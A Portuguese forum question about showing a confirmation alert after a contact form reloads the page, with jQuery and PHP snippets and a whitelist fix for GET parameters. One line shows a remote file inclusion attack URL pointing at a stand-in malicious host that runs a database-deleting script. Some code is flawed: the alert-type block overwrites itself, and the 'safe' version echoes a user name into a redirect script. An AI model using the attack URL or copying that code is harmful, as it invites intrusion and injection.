Olá, Como faço para quando enviar um formulario de contato por exemplo, dar um refresh na página e mostrar a mensagem de envio?
Code: Javascript:
function showAlert(type, message)
{
if (message !== '')
{
if (type === '')
{
type = 'success';
type = 'danger';
type = 'info';
type = 'warning';
}
$('#alert').removeClass();
$('#alert').addClass('alert alert-' + type).html(message).slideDown();
setTimeout("closeAlert()", 15000);
}
$(function ()
{
$('#alert').click(function ()
{
closeAlert();
});
});
function closeAlert()
{
$('#alert').slideUp();
$('#alert').removeClass();
}
HTML:
<div id='alert'></div>
PHP:
echo "<script>
window.onload = function ()
{
showAlert('success', 'Perfil atualizado com sucesso.');
};
</script>";
Exibindo a mensagem de outra forma, só que me parece haver falhas de segurança nisso se não der um jeito..
messages.php
<?php
if (isset($_GET['action']))
{
$action = $_GET['action'];
if($action=='registered')
{
echo '<div class="alert alert-success">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong>Sucesso!</strong> avaliação cadastrada obrigado pela colaboração.
</div>';
}
}
?>
Ai eu incluo as mensagem onde eu quiser:
include("/system/messages.php");
e chamo via _GET:
echo '<script language= "JavaScript">
location.href="?p=cadastro&action=registered";
</script>';
Com isso o invasor pode, por exemplo, colocar um caminho de um script externo no lugar da variável: http://www.meusite.com.br/?p=http://sitedumal.net/deleta-banco.php O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… O resto você já pode imaginar.
Fazer de um modo seguro:
// Define uma lista com os array que poderão ser chamados na URL
$allowed = array($nomeUsuario, 'perfil-updated', 'perfil-updated-error');
// Verifica se a variável $_GET['action'] existe E se ela faz parte da lista de arquivos permitidos
if (isset($_GET['action']) AND (array_search($_GET['action'], $allowed) !== false))
{
$action = $_GET['action'];
if($action=='perfil-updated')
{
echo '<div class="alert alert-success">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong>Sucesso!</strong> Perfil atualizado.
</div>';
}
if($action=='perfil-updated-error')
{
echo '<div class="alert alert-danger">
<button type="button" class="close" data-dismiss="alert">×</button>
<strong>Erro ao atualizar!</strong> Não foi possível atualizar o perfil.
</div>';
}
}
else
{
// Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
echo '<script language= "JavaScript">
location.href="?p=profile&action='.$nomeUsuario.'";
</script>';
}